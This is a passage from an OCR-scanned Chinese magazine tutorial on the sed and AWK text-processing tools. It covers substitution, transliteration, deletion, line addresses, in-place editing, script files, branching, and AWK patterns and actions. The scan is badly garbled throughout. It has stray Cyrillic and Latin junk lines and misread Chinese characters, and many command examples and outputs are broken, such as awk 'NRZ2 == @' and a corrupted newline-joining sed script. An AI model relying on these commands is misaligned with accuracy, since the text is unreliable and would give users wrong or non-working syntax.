的 各 种 命令 、 地 址 指定 等 进行 说 明 。 


м 从 
@ < 


至 此 为 止 介绍 的 sed 例 子 ， MEH “s” A 
令 进 行 子 符 串 符 换 的 。 此 外 还 有 “d (删除 )/p 
(数据 输出 )/y( 棕 换 1 个 字符 )/ w( 文 件 输出 ) 
Zn 人 (数据 输入 刀 等 各 种 各 样 的 命令 可 以 使 用 。 
这 里 介绍 一 下 常用 的 s /y/ d 命 令 。 


У 1 sed 的 基本 形式 


简单 强大 的 文本 处 理工 具 第 2 A 
sed 详解 及 用 法 И 


5 命令 (字符 串 蔡 换 ) 

д sed P BOR [EH B т ет EEUU 
КРАЕВА MB Ч АА Wan, F EH. JEA 
格式 如 下 所 示 。 


$ sed -e 's/ 原 字符 串 / E 替换 后 的 字符 串 ] /标志 ]'" 回 


输入 .txt 


[ 笠 换 后 的 字符 串 ] 和 [标志 ] 是 可 以 省 略 的 。 
蔡 换 后 的 字符 串 省 略 时 表示 删除 匹配 的 字符 串 。 


$ sed -e 's/aaa//g' input.txt 
bbbcccddd bbbcccddd 
AAABBBCCCDDD bbbcccddd 

1254567890!? !"Z$4&'C)?/ — 


原 字 符 串 可 以 用 正则 表达 式 表 示 。 原 字符 
申 中 含有 “/” 时 ,要 在 其 前 面 加 八 ( 反 和 斜 杠 》 
进行 转 义 处 理 , 对 于 蔡 换 后 的 字符 串 也 是 同样 的 。 
Hsed -e 's/M/R/' input.txt 
1234567890!? !"#$%&'()?R_ 
还 可 以 把 分 隔 符 变 为 “/” 以 外 的 字符 。 在 
“S ”后 面 指定 要 作为 分 隔 符 的 字符 。 比 如 想 把 "/ 
usr/local" ER Jy, “usr” BF, 将 分 隅 符 变 为 “1 ” 
后 可 按照 如 下 所 示 执 行 。 


$ sed -e 's!/usr/local!/usr!g' sample.txt 


tB j f aya XC BER n] AES 4 SE 
来 使 用 ， 不 过 那样 就 很 难 与 蔡 换 字符 串 进 行 区 
分 , 所 以 还 是 尽量 使 用 像 /\、# 这 样 的 符号 比较 好 。 

[ 蔡 换 后 的 字符 串 ] 中 出 现 “&” 时 表示 和 
查找 字符 串 一 样 。 下 面 这 个 例子 表示 把 “aaa” 
替换 成 “+aaa+”。 


О PAN) | 
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' 输入 .txt > 输出 .txt 


od 
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从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 


$ sed -e 's/aaa/+&+/g' input.txt 
+aaa+bbbcccddd +aaa+bbbcccddd 


AAABBBCCCDDD +aaa+bbbcccddd 
-BK 
和 原 字 符 串 的 正则 表达 式 一 起 使 用 是 很 便 
利 的 。 与 正则 表达 式 匹 配 的 字符 串 可 以 用 “&” 
来 引用 。 比 如 ， 如 下 所 示 ， LU." U Bú BJ z 
符 串 可 以 用 “&” 来 表示 , 如 果 指 定 “output: &”, 
执行 后 各 行 的 行头 都 加 了 “output:”。 


$ sed -e 's/.*/output: &/g' input.txt 
output: aaabbbcccddd aaabbbcccddd 


output: AAABBBCCCDDD aaabbbcccddd 
不 想 做 特别 的 处 理 ， 只 是 想 把 “&” 字符 
替换 掉 时 ， 使 用 V 进行 转 义 处 理 指定 为 “\&” 
即 可 。 分 隔 符 为 “/” 并 且 想 蔡 换 字符 “/” 时 ， 
则 指定 为 “V” 即 可 (图 2 )。 
标志 可 以 指定 为 “g( Global， 把 整个 文章 


作为 对 象 )/p( Print， 表 示 置 换 后 的 结果 )/w 
( Write, 输出 文件 ”。 也 可 以 同时 指定 多 个 标志 。 
标志 “g” 正 如 此 前 说 明 的 那样 ， 在 把 文革 整体 
作为 蔡 换 范围 时 使 用 。 或 者 在 sed 局 动 时 加 上 
“-g” 选 项 也 可 以 起 到 相同 的 效果 。 


$ sed -e 's/bbb/eee/g' input.txt 


$ sed -g -e 's/bbb/eee/' input.txt 
1 以 上 2 行 的 执行 结果 是 一 样 的 


бл ер” НЖАТ ВЕИТ, 不 过 默认 


П РАМЕ ЕЕ ЕНЧА sed ШЙ A Za 
输出 到 标准 输出 ， 所 以 如 果 只 加 标志 “p”， 会 输 


w [2 q^. ad UQ up 2 为 替换 后 字符 串 时 


^ 
e 蔡 换 成 & 

$ sed -e 's/b/N&/g' input.txt 
aaa&&&cccddd aaa&&&cccddd ... 

e SiC. 

$ sed -e 's/b/NM/g' input.txt 
aaaNNNcccddd ааа\\\сссааа ... 

e gis 

$ sed -e 's/b/N//g' input.txt 
aaa///cccddd aaa///cccddd ... y 
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出 两 行 相 同 的 内 容 。 只 想 表 示 发 生 蔡 换 的 行 时 ， 
可 以 在 sed 启动 时 加 上 “-n” 选 项 来 控制 标准 输出 。 


$ sed -n -e 's/bbb/eee/p' input.txt 


aaaeeecccddd aaabbbcccddd 
АААВВВСССррр аааееесссаф@ < 一 只 表示 被 替换 的 行 


如 条 想 把 蔡 换 后 的 结果 写 到 文件 中 ， 可 以 
(EH “w” 标志 。 在 w 后 面 指定 输出 文件 名 。 


$ sed -e 's/aaa/eee/gw output.txt' V 
input.txt 


此 时 在 output.txt 中 只 输出 匹配 的 行 。 如 果 
同时 还 想 输 出 不 匹配 的 行 , 使 用 “w” 命令 会 
更 人 简单 一 些 。 


$ sed -e 's/aaa/eee/g' -e 'w output.txt' V F4 


input.txt 


这 里 指定 了 多 个 “-e 脚 本 ”，sed 对 于 一 个 
输入 可 以 执行 多 个 脚本 。 稍 后 会 详细 说 明 。 


уаз = (Sie 17 758) 
TE RENTAR RARA — T HE 


用 。 基 本 使 用 格式 如 下 所 示 。 


$ sed -e 'y/ 蔡 换 前 /替换 后 /' 输入 -txt 


АВЕ [Н] Н] ТЕ “ЖЕЛ” ЯП “йл” АП 
采 只 替换 一 个 字符 ,使 用 s 命 令 也 可 以 ,不 过 
使 用 y 命 令 可 以 同时 叔 换 多 个 字符 。 比 如 要 同 
247 аә х, b>y, сәх, НАА Кх 
样 指定 即 可 。 
$ sed -e 'y/abc/xyz/' input.txt 


xxxyyyzzzddd xxxyyyzzzddd 


THÉRHUAETIDLELG HUBS ЗАО Ж 
相同 。 因 此 ， 如 打 蔡 换 前 与 蔡 换 后 的 长 度 不 同 
MEH. Н УЕ ВРВ ЛОС F 
НА РАХ 


$ sed -e 'y/abcdefghijklmnopqrstuvwxyz/ 


ABCDEFGHIJKLMNOPQRSTUVWXYZ/' input.txt 


| c0 =” x A В —⁄— Le 


d 命 令 是 删除 指定 行 ， 并 将 剩余 行进 行 输 
出 的 命令 。 删 除 第 1 ~ 2 行 的 例子 如 下 所 示 。 


$ sed -e '1,2d' input.txt 
123256789017 !"Z$4&'C)?/ 


这 里 使 用 “地 址 ”来 指定 行 号 , 也 可 以 省 略 。 
省 略 就 表示 删除 所 有 行 ， 输 出 结 来 则 变 为 空 。 


$ sed -e 'd' input.txt 


T 输出 结果 为 空 


为 外 ， 如 采 只 执行 d 命 令 ， 输 入 文件 是 不 会 
发 生变 化 的 , Из ЛЕВОЙ АЧ 


бш ш 


只 对 特定 的 行进 行 处 理 时 ， 就 会 用 到 “地 
址 ”( 表 1 )。 如 果 省 略 地 址 ， 所 有 的 输入 行 都 会 
当 作 处 理 对 象 。 只 指定 一 个 地 址 时 ， 只 有 指定 
行 会 作为 处 理 对 象 。 指 定 两 个 地 址 并 以 “， 分 
隔 ， 这 是 范围 指定 。 表 示 将 从 第 一 个 行 号 开始 
到 第 二 个 行 号 结束 的 行 作为 处 理 对 象 。 如 果 第 
二 个 数字 与 第 一 个 相同 或 比 第 一 个 小 时 ， 只 有 


第 一 个 数字 指定 的 行 才 会 作为 处 理 对 象 。 最 后 
一 行 用 “$” 指定 。 


$ sed -n -e '1,3p' input.txt 


$ sed -n -e '2,$p' input.txt 


1 表示 2~ 最 后 一 行 


地 址 除了 使 用 数字 ， 还 可 以 使 用 正则 表达 
式 。 比 如 , 指定 从 以 “aaa” 开始 的 行 到 以 “bbb” 
结尾 的 行为 处 理 对 象 的 例子 如 下 所 示 。 


w=*=1 地 址 指定 的 例子 


地 址 例 表示 的 含义 
(未 指定 ) | 所 有 数据 
3 第 3 行 


20,$ 从 第 20 行 开始 到 最 后 一 行为 止 
第 10 行 (第 2 数字 比 第 1 个 数字 小 的 
情况 ) 
/^L0-91/ | 所 有 以 数字 开头 的 行 
15,/7$/ | 从 第 15 行 开始 到 以 Z 结 尾 的 行为 止 
5 40! 从 第 5 行 开始 到 第 10 行 以 外 的 行 ( 即 
А6 1—4133011 ~ 56—45) 
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简单 强大 的 文本 处 理工 具 
sed 详解 及 用 法 


$ sed -n -e '/^aaa/,/ddd$/p' input.txt 
aaabbbcccddd aaabbbcccddd 


AAABBBCCCDDD aaabbbcccddd 


如 果 与 结束 行 指定 的 模式 相 匹 配 的 行 不 
存在 ,一 直到 输入 数据 的 结尾 (最 后 一 行 ) 为 
止 的 行 会 作为 处 理 对 象 。 在 寻找 结束 行 的 过 
程 中 ， 即 使 再 次 出 现 与 开始 行 匹配 的 行 也 会 
被 忽略 。 


g= *2⁄ ¿ 

对 单行 脚本 来 说 很 方 
便 的 选项 

sed 还 有 很 多 其 他 的 选项 ， 因 此 可 以 组 成 
很 复杂 的 脚本 。 比 如 一 次 性 执行 多 个 命令 、 轿 
盖 输 入 文件 、 做 成 备份 文件 等 ， 有 很 多 对 于 单 
行 脚 本 来 说 很 方便 的 选项 。 
@ 指定 多 个 命令 

以 上 介绍 的 sed 例 子 ， 都 是 一 次 只 执行 一 
个 命令 ， 实 际 上 可 以 同时 执行 多 个 命令 。 命 令 
和 命令 之 间 用 分 号 “分隔 。 用 于 删除 的 d 命 
今 和 用 于 字符 串 奉 换 的 S$ 命 邻 组 合 起 来 执行 的 
例子 如 下 所 示 。 


$ sed -e '2d;s/aaa/eee/g' input.txt 
eeebbbcccddd eeebbbcccddd 


123456789017 !"#$%&'()?/_ 


上 面 的 例子 表示 对 于 输入 数据 ， 先 删除 第 
2 行 后 ， 再 把 aaa 符 换 成 eee。 指 定 两 个 及 两 个 
以 上 的 命令 时 ， 对 于 文件 的 每 一 行 ( 按 顺序 ) 执 
行 各 个 命令 。 而 不 是 对 输入 数据 的 所 有 行 执行 
第 一 个 命令 后 再 执行 第 二 个 命令 。 在 上 例 中 ， 


对 第 1 行 执行 4 命令 ， 然 后 再 执行 s 命 令 ， 接 着 
再 对 第 二 行 执行 4 命令 和 8$ 人 命令。 如 此 反复 操 
作 直 到 最 后 一 行 。 

还 有 其 他 的 方法 可 以 连接 命令 。 在 sed 的 
启动 选项 中 ， 可 以 通过 指定 多 个 “-e' 脚 本 '” 来 


执行 多 个 命令 。 


$ sed -e '2d' -e 's/aaa/eee/g' input.txt 
eeebbbcccddd eeebbbcccddd 


123456789017 !"#$Z&'()?/_ 


e 


34 


从 现在 开始 sed/AWK EBA J 


| UNIX 工 程 师 的 喜好 
特辑 ] 


G9 文 件 输出 


要 把 处 理 结果 写 到 文件 中 ， 可 以 使 用 “>” 


重 定 问 到 文件 ,或 者 使 用 w 命 令 写 到 文件 。 不 
过 还 可 以 在 sed 启 动 时 加 上 “-i” 选 项 ， 将 处 理 
结果 履 盖 到 源 输入 文件 中 。 


$ sed -i -e 's/bbb/eee/' input.txt 


甚至 还 可 以 将 处 理 前 的 数据 作为 备份 文件 
保存 起 来 。 在 “-i” 选 项 后 面 指定 在 备份 文件 名 
尾部 要 加 的 后 级。 比如 生成 后 弘 为 “.bak” 的 备 
份 文件 的 例子 如 下 所 示 。 


$ sed -i.bak -e 's/bbb/eee/' input.txt 
$ ls 


input.txt input.txt.bak 
1 新 生成 备份 文件 ( input. txt.bak) 


@ 双 直 引号 和 单 直 引 号 


通常 sed 在 Bourne Shell 或 C Shell 上 执行 。 
对 于 这 样 的 shell,"( 双 直 引 号 )/$( 美 元 符 )/ ` 
( 重 首 符 )/A\( 反 和 斜 杠 :日 元 符号) 等 字符 都 有 特 
殊 的 含义 。 因 此 ， 用 sed 指 定 脚 本 时 ， 为 了 不 作 
为 特殊 字符 处 理 ， 需 要 用 '( 单 下 引号 ) 括 起 来 。 
脚本 中 如 果 不 使 用 正则 表达 式 和 符号 ， 只 使 用 
单纯 字符 串 的 话 ， 不 用 “” 括 起 来 也 可 以 进行 
处 理 。 不 过 为 了 shell 解 释 结果 与 预期 结果 不 出 
现 偏 差 ， 还 是 习惯 使 用 单 下 引号 为 好 。 

还 可 以 用 “"” 把 脚本 括 起 来 。“-e "脚本 "” 
这 样 就 可 以 使 用 shell 变 量 了 。$USER (НР) 
/$SHOSTNAME( 主 机 名 )/ STERM (终端 名 ) 
/ $PWD (当前 目录 ) 等 变量 都 可 以 作为 模式 来 
指定 。 


$ sed -e "s/$HOSTNAME/new_hostname/g" 


/etc/hosts 

也 可 以 使 用 用 户 目 定义 变量 。 下 面 这 个 
例子 中 , 定义 用 户 日 定义 变量 “$FROM” 和 
“$STO”， 并 在 sed 脚 本 中 进行 使 用 。 脚 本 用 “"” 
括 起 来 了 ， 把 shell 变 量 进行 展开 ， 即 为 “s/aaa/ 
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$ FROM="aaa" 


$ ТО="еее" 
$ sed -e "s/$FROM/$TO/g" input.txt 


在 字符 串 很 复杂 的 情况 下 ,使 用 用 户 日 定 
义 变量 可 以 简化 脚本 。 在 双 下 引号 内 使 用 特殊 
符号 时 ， 要 用 “\” ”进行 转 义 处 理 。 


人 区 本 文件 的 使 


sed 可 以 读 取 脚本 文件 进行 执行 。 可 以 用 
sed 进 行 条件 分 文 或 使 用 标签 进行 循环 等 复杂 
的 处 理 ， 这 在 对 大 量 文件 进行 相同 处 理 时 是 很 
便利 的 。 


GO 脚本 文件 的 读 取 和 执行 


读 取 脚本 文件 进行 执行 ， 要 使 用 如 下 所 示 
的 “-f 选项 。 


$ sed -f 脚本 文件 输入 文件 


如 果 指 定 多 个 “-f 选项 ， 按 指定 的 顺序 从 
文件 中 读 取 脚本 进行 执行 。 也 可 以 同时 使 用 “-e” 


选项 和 “-f 选项 。 在 脚本 文件 中 1 行 记述 1 个 
处 理 。 


| 用 以 下 的 内 容 做 成 文件 samp le .sed 


1,3s/aaa/eee/g 
3d 
上 述 脚 本 文件 (sample.sed ) # z] BJ Ah 3 
是 : 对 第 1~3 行 进行 蔡 换 (aaa 一 eee )， 并 删 
除 第 3 行 。 使 用 该 脚本 文件 进行 执行 结果 如 下 
所 示 。 


$ sed -f sample.sed input.txt 
eeebbbcccddd eeebbbcccddd 


AAABBBCCCDDD eeebbbcccddd 


GD 命 令 的 组 合 

如 琳 在 脚本 文件 中 使 用 “+{...}” 对 命 仿 进 
行 组 合 ， 就 可 以 对 于 一 个 地 址 执行 多 个 命令 。 
如 下 所 示 的 脚本 文件 表示 对 第 1~ 3 行 执行 3 个 


| ичи ри A =f fT Le 


{Же 
s/aaa/eee/g 
y/abc/xyz/ 


p 
} 


GO 标 签 / 分支 处 理 / 循环 处 理 


可 以 在 脚本 中 设置 标签 进行 循环 处 理 ， 还 
可 以 将 是 否 执行 了 s 命 令 的 蔡 换 处 理 作 为 判断 
条 件 对 处 理 进行 分 支 ( 表 2 )。sed 竟 然 可 以 进行 
如 此 精细 的 处 理 ， 在 不 少 情况 下 ， 我 们 可 以 感 
觉 到 这 甚至 比 使 用 shell 脚 本 和 了 Perl 脚本 的 效率 
还 高 。 所 以 我 们 还 是 应 该 记 住 可 以 用 sed 进 行 
复杂 处 理 。 

执行 如 下 所 示 的 脚本 文件 ， 它 表示 对 读 入 
的 行 执行 “命令 1.2”， 如 果 存 在 与 模式 匹配 
的 字符 串 ， 那 么 返回 标签 处 ， 对 下 一 行 再 执行 
“命令 1.2”。 如 果 不 存在 与 模式 匹配 的 字符 串 ， 
则 执行 “命令 3”。 


: 标签 
pu 
命令 1 
pu 
命令 2 


/模式 /b ESSE 


命令 3 


w2 标签 / 分支 处 理 的 指定 方法 


简单 强大 的 文本 处 理工 具 第 2 A 
sed 详解 及 用 法 И 


以 下 是 经 第 可 以 看 到 的 循环 处 理 。 删 除 输 
入 数据 的 所 有 换行 符 并 合并 字符 串 。sed 逐 行 
谈 和 人 数据 并 对 每 一 行进 行 处 理 ， 所 以 不 擅长 路 
行 处 理 。 但 是 可 以 通过 循环 处 理 把 数据 合并 成 
一 行 ， 然 后 通过 删除 合并 结 末 中 的 换行 符 (\n ) 
可 以 将 输入 数据 中 的 换行 删 掉 。 


: Loop 
N 


$!b Loop 
<$/\п//д 


EB ЛШ ШЕЕ “N” drm. Rn 
AKTE “816 (不 是 最 后 一 行 》” 就 返回 标签 loop， 
从 而 使 处 理 进行 循环 。 跳 出 循环 后 执行 “sAn//g” 
将 换行 符 一 下 删 掉 。 

把 以 上 脚本 保存 为 “sample2.sed”， 对 列表 
1 的 “input.txt” 进 行 执行 ， 会 输出 一 行 合 并 后 
的 字符 串 。 


$ sed -f sample2.sed input.txt 
aaabbbcccddd aaabbbcccdddAAABBBCCCDDD N 


sed 可 以 对 应 各 种 字符 串 的 过 滤 , 篇 幅 所 限 , 
暂 不 详细 展开 ， 只 要 记 住 这 部 分 说 明 的 内 容 就 
足够 用 了 。 


指定 万 法 所 表示 的 内 容 
: label% JEEE, label £ EAA EEAS 
b Label & 无 条 件 跳 转 到 label 名 指定 的 命令 进行 执行 


条 件 b label £ 


输入 行 满足 条 件 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 
如 果 指定 “/ 模 式 / 人 标签"， 输 入 行 和 模式 匹配 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 


条 件 !b label £ 


输入 行 不 满足 条 件 时 ， 跳 转 到 label 名 指定 的 何 令 进行 执行 
如 果 指 定 /模式 如 标签 ， 输 入 行 和 模式 不 匹配 时 ， 跳 转 到 label 名 指定 的 命令 进行 执行 
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t Label 名 读 入 输入 行 执 行 命令 ， 只 有 在 使 用 s 命 令 蔡 换 成 功 时 才 会 跳 转 到 label 名 指定 的 命令 进行 执行 
T label 名 读 入 输入 行 执 行 命令 ， 在 使 用 s 命 令 蔡 换 不 成 功 时 才 会 跳 转 到 1abel 名 指定 的 命令 进行 执行 
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从 现在 开始 sed/AWK 再 入 门 
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”AWK 的 基础 


М/Ф 5л Irvine systems 股 份 有 限 公 司 | masahiroGirvinesystems.cojp 12/257, 


这 章 我 们 来 学 习 AWK 的 基础 并 熟悉 其 用 法 。 与 sed 不 同 ，AWK 可 以 用 更 灵活 的 方式 表示 处 理 。 要 理解 AWK 的 
单行 书写 方式 ， 就 需要 先 了 解 一 下 AWK 的 模式 ( pattern ) 并 学 习 它 的 动作 ( action )。 而 且 ， 只 有 掌握 了 应 用 性 脚本 
的 书写 窃 门 ， 才 会 使 用 更 加 深奥 的 用 法 。 另 外 请 好 好 享受 本 文 后 半 部 分 的 单行 脚本 智力 游戏 。 


AWK 作为 
单行 脚本 的 用 法 

为 了 理解 AWK 的 便利 之 处 ,我 们 先 来 看 
一 个 单行 脚本 的 实例 。 笔 者 本 打算 这 么 说 的 ， 
但 是 要 想 把 AWK 运 用 自如 ,首先 需要 理解 
AWK 脚 本 的 构造 。 擅 长 文本 处 理 的 AWK 脚 本 
和 其 他 脚本 语言 稍微 有 些 区 别 。“ 模 式 ” 和 “ 动 
作 ” 的 组 合 对 是 AWK 脚本 的 基本 格式 。 


模式 1 {动作 13 
模式 2 {动作 23 


模式 n СЕ п? 


AWK 和 sed 一 样 ， 也 是 以 行为 单位 来 判断 
是 否 存在 处 理 对 象 。 “模式 ”和 “动作 ”的 组 合 


可 以 解释 为 “对 和 模式 匹配 的 行 执 行动 作 ” 的 
意思 。 模 式 可 以 省 略 ， 此 时 ， 将 针对 所 有 的 行 
执行 动作 。 

AWK 的 语法 和 控制 结构 与 C 语 言 相 似 ， 
所 以 即使 是 第 一 次 接触 AWK 脚本 的 人 也 能 明 
日 脚本 大 概要 执行 的 动作 。 但 是 ， 它 作为 单行 
脚本 ,为 了 使 用 方便 ， 省略 了 语法 解释 中 不 必 
要 的 分 号 “;”、 插 写 “(” 以 及 括号 “) 等。 

那么 我 们 来 看 一 个 AWK 的 单行 脚本 脚本 
的 例子 吧 。 命令 执行 时 ， 需要 指定 AWK 脚本 
和 输入 文本 文件 。 


本 章 的 脚本 都 假定 在 UNIX Shell 系 的 环境 
中 执行 。 为 了 不 让 Shell 误 识别 AWK 脚本 中 出 
现 的 “$、\、"” 等 字符 , 脚本 需要 用 单 直 引 号 (') 
括 起 来 。 

如 果 省 略 inputfile， 则 输入 变 为 /dev/stdin。 
使 用 管道 与 别 的 脚本 结合 使 用 的 例子 如 下 所 示 。 


$ 别 的 命令 | awk ' 脚 本 ' inputfile 


下 文中 的 四 一 @ 和 sed、grep 一 样 ， 都 是 
按 顺 序 表示 与 模式 匹配 的 所 有 行 。 它 们 省 略 了 
АМК 的 动作 部 分 ， 是 最 简单 的 AWK 的 用 法 。 请 
提供 适当 的 输入 文件 ( inputfile )， 进 行动 作 确 认 。 


中 长 度 超 过 半角 30 个 字符 的 行 (length 等 
字符 串 操 作 和 统计 函数 属于 动作 处 理 系 列 ， 根 
据 AWK 的 版 本 以 及 对 象 文 本 的 字符 编码 不 同 ， 
动作 可 能 稍 有 区 别 。 请 参照 专栏 。) 


$ awk 'Length > 30' inputfile 


(2 字段 数 在 $ 个 以 上 10 以 下 的 行 


$ awk 'NF >= 5 && NF <= 10' inputfile 


@ 只 表示 最 开始 的 5 行 


$ awk 'NR <= 5' inputfile 


O 只 表示 偶数 行 


$ awk 'NRZ2 == @' inputfile 


$ awk ' Ж ' inputfile 


rz 3.951 人 
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O 表示 第 一 个 字段 的 值 比 100 小 的 行 


$ awk '$1 < 100' inputfile 


包含 “问题 ”或 者 “答案 ”的 行 


$ awk '/ | 答案 /' inputfile 


CD 以 “#” 开头 的 行 (awk 的 注释 行 ) 


$ awk '/^Z2/' inputfile 


除了 语法 简洁 之 外 ， 还 有 很 多 内 置 函 数 可 
以 省 略 参 数 。 基 本 上 所 有 省 略 参数 的 情况 都 是 
把 下 面 要 说 明 的 表示 处 理 对 象 行 的 $0 的 值 作 
为 默认 参数 。 

在 AWK 中， 变量 和 函数 定义 ， 以 及 一 般 


编程 语言 都 有 的 控制 结构 和 内 置 函 数 也 很 丰富 。 
在 刚才 的 例子 中 ,使 用 内 置 孙 数 length、 内 置 
变量 $SN( 第 N 个 字段 )、NF (字段 数 )、NR( 行 
号 ) 的 条 件 和 表达 式 来 指定 模式 (关于 内 置 也 数 、 
内 置 变量 会 在 稍 后 的 章节 中 进行 说 明 )。 善 于 
记述 模式 ， 是 作为 单行 脚本 进行 应 用 的 第 一 步 。 


@ AWK 可 以 使 用 的 模式 
首先 我 们 来 看 一 下 AWK 可 以 使 用 的 模式 。 


e 空 模式 
如 果 省 略 模式 ， 所 有 的 行 都 会 匹配 。 


@ 正则 表达 式 
与 sed 一 样 ， 可 以 指定 正则 表达 式 。 


@ 比较 表达 式 和 逻辑 表达 式 

比较 运算 是 关于 大 小 关系 、 是 否 匹 配 等 的 
运算 。 而 且 还 可 以 指定 由 AND( && ) МОВ (||) 
等 逻辑 运算 符 组 合 起 来 的 表达 式 。 


例 


$1 < 100 && $2 == "ABC' 


是 指 第 1 个 字段 小 于 100 并 且 第 2 个 字段 
是 "ABC" 的 行 。 


PE ~ A 人 A 八 PF 


尝试 并 掌握 
AWK 的 基础 ， 


@ BEGIN 和 END 

模式 BEGIN 是 用 AWK 脚本 执行 程序 的 初 
始 化 动作 。 伴 随 着 模式 BEGIN 的 动作 是 在 输 
入 列 读 入 之 前 进行 处 理 的 。 在 初始 化 变量 、 打 
印 输出 报告 的 表 头 、 设 置 输入 列 的 分 隔 符 等 时 
使 用 。 

伴随 着 模式 的 END 动作 是 在 所 有 输入 列 
全 部 读 和 人 之 后 进行 处 理 的 。 所 以 在 统计 结果 输 
出 、 报 告 页 脚 输出 ， 以 及 处 理 一 些 扫尾 工作 时 
使 用 。 


e o 
pattern1, pattern?2 


如 上 所 示 , 可 以 将 从 patternl 出 现 开 始 
到 pattern2 出 现 为 止 的 范围 指定 为 选择 对 象 的 
z [В] 


例 ) 
/^begin$/, /^end$/ 


把 从 begin 出现 的 行 开始 到 end 出现 为 止 的 

内 容 进 行 输出 。 

begin 

这 个 地 方 被 选中 

这 里 也 被 选中 

end 

这 里 没有 被 选中 

begin 

但 这 里 被 选中 


上 面 的 数据 的 处 理 结果 如 下 所 示 。 


$ awk '/^begin$/, /^end$/' inputfile 


这 个 地 方 被 选中 
这 里 也 被 选中 
但 这 里 被 选中 


接 下 来 ， 我 们 来 看 一 下 使 用 模式 的 单行 脚 
本 的 例子 吧 。 


EN Le 
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特辑 


如 下 所 示 的 脚本 ， 是 删除 空白 行 的 模式 的 
JLAT- BT o 


(8) 删除 空 日 行 [ 例 1] 


$ awk 'length != @' inputfile 


(9) 删除 空白 行 L 例 2] 


脚本 (8 是 指 与 行 整体 长 度 不 为 0 的 行 匹配 ， 
所 以 只 删除 只 有 换行 符 的 行 。 

脚本 (是 指 与 存在 字段 的 行 匹 配 , 通 营 
FS 的 信 是 指 删除 只 有 换行 符 的 行 以 及 只 有 Tab 
和 空格 的 行 。 

下 面 , 我 们 看 一 下 删除 连续 的 相同 行 的 例子 。 
此 时 , 不 仅 要 使 用 模式 , 还 要 使 用 动作 来 处 理 ( 关 
于 动作 部 分 的 解说 ， 在 稍 后 的 章节 中 进行 )。 


N 


10 删除 空白 行 [ 例 3 ] 


$ awk 'before != $0 < print; before = 


$0 )' inputfile 
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$ awk 'NF != 0 || bf != 0 < print; H 


bf = NF )' inputfile 


脚本 4 是 指 把 连续 的 相同 行 整理 为 一 行 。 
记 住 之 前 一 行 ， 与 新 输入 行进 行 比较 ， 如果 内 
容 不 一 样 ， 将 此 输入 行 原文 输出 。 


КЕИ AWK 处 理 和 日 语 字符 串 


AWK 有 各 种 各 样 的 衍生 版 本 。 由 Linux、MacOsS 
等 的 标准 安装 携带 的 AWK 有 时 不 能 适当 地 处 理 多 字 
节 字 符 编 码 。gawk 可 以 对 应 相当 范围 的 字符 编码 ， 
所 以 在 使 用 标准 AWK 处 理 不 了 时 ， 请 一 定 用 gawk 
试 一 试 。AWK 的 内 部 动作 选项 可 以 用 如 下 所 示 的 -W 


FA 


脚本 地 是 指 将 多 个 空白 行 整理 为 一 行 。 筛 
选 不 显示 的 行 的 条 件 为 “当前 行 与 之 前 一 行 都 
是 空白 行 时 ”。 所 以 ， 对 这 个 条 件 取 非 ， 则 变 
为 第 选 显 示 行 的 条 件 ， 即 “当前 行 与 之 前 一 行 
有 1 行 不 为 空 日 行 时 ”。 


(27: ТН Ї 例 5 1 


$ awk '{ 19С%11 = id[$1] " " NR } END 


{ for (elm in id) print elm " " 
idLelm1?' inputfile 


脚本 (2 Ze 4E ЖЕЙ A 4141156442 ж (x HL 
第 1 个 字段 ) 的 值 ， 将 第 1 个 字段 发 生 重 复 的 行 
集中 起 来 进行 输出 。 字 段 不 仅 限 于 1， 可 以 根 
据 实际 情况 指定 适当 的 值 。 便 于 在 有 很 多 行 、 
要 检查 都 是 什么 地 方 发 生 重 复 的 情况 下 使 用 。 

怎么 样 ? sed 和 ex、vi(ex 模 式 ) 一 样 ， 将 
与 模式 匹配 的 行 或 匹配 的 地 方 的 蔡 换 和 删除 作 
为 行 编 辑 絮 命令 进行 指定 ， 相 对 而 言 ，AWK 
是 一 种 更 像 编程 语言 的 脚本 形式 。 比 较 人 简单 的 
处 理 可 以 简单 快捷 地 使 用 sed， 复 杂 的 处 理 则 
使 用 AWK， 这 样 进 行 脚本 处 理 才 是 正确 的 做 
法 (当然 ， 进 行 复杂 处 理 的 sed 拼 图 也 是 工程 师 
"ps "m ), 


а AWK 脚本 的 写法 入 门 


至 此 为 止 ， 我 们 从 命令 行 的 角度 对 如 何 使 
用 作为 单行 脚本 的 AWK 进行 了 说 明 。 记 述 了 
动作 部 分 、 相 对 更 复杂 的 较 长 的 脚本 可 以 写成 
脚本 文件 进行 执行 。 


来 指定 。 根 据 AWK 人 处 理 万 式 的 不 同 ， 有 了 时 也 可 以 指 
定 所 用 的 字符 编码 。 


$ gawk -W ctype=UTF8 
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执行 脚本 文件 时 ， 指 定 方法 如 下 所 示 。 


$ awk -f scriptfile inputfile 


上 一 市 主要 以 模式 为 中 心 进行 了 说 明 。 为 
了 进一步 活用 AWK， 有 必要 理解 一 下 动作 部 
分 的 记述 方法 。 本 节 将 对 动作 部 分 的 记述 方法 ， 
以 及 AWK 的 变量 进行 说 明 。 


GD 动作 


动作 (action )， 对 于 一 般 的 语言 而 言 就 是 
指 程序 本 身 。 根 据 模式 选 定 的 动作 执行 与 模式 
匹配 的 行 的 输出 、 计 算 等 处 理 。 和 省 略 动作 时 ， 
与 模式 匹配 的 所 有 行 都 会 输出 。 


* 在 动作 中 可 以 使 用 的 语句 
表达 式 : 常量 , 变量 , 代入 , ВАА 
print 表达 式 的 排列 
printf 格式 ， 表 达 式 的 排列 
if (Xx) 语句 
if (RAR: 语句 else 语句 
while 〈 表 达 式 ) 语句 
do 语句 while (ATÈ) 
for СА; FAN; FAA) 语句 
for (变量 in 数组 ) 语句 
break 
continue 
next 
exit 
exit 表达 式 
{ 表达 式 的 排列 > 


关于 If、while、for 等 的 真 假 判 定 ， 当 表 
达 式 的 结果 为 NULL 或 0 时 为 假 (FALSE )， 除 
此 以 外 则 为 真 ( TRUE )。 


在 AWK 中 有 几 个 比较 特别 的 为 了 控制 和 
数据 解析 的 内 置 变 量 。 这 里 我 们 介绍 一 下 第 用 
的 几 个 内 置 变量 。 


51,52," *,5п#0 50 
$ 后 的 数字 表示 当前 输入 行 的 第 几 个 字段 。 
也 就 是 说 ，$1 表示 第 1 个 字段 。 而 且 ， 还 可 以 


FA 


| имичи ич A M— —⁄— I Le 


尝试 并 掌握 
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在 $ 后 加 上 变量 动态 地 指定 字段 。 比 如 ， 变 量 
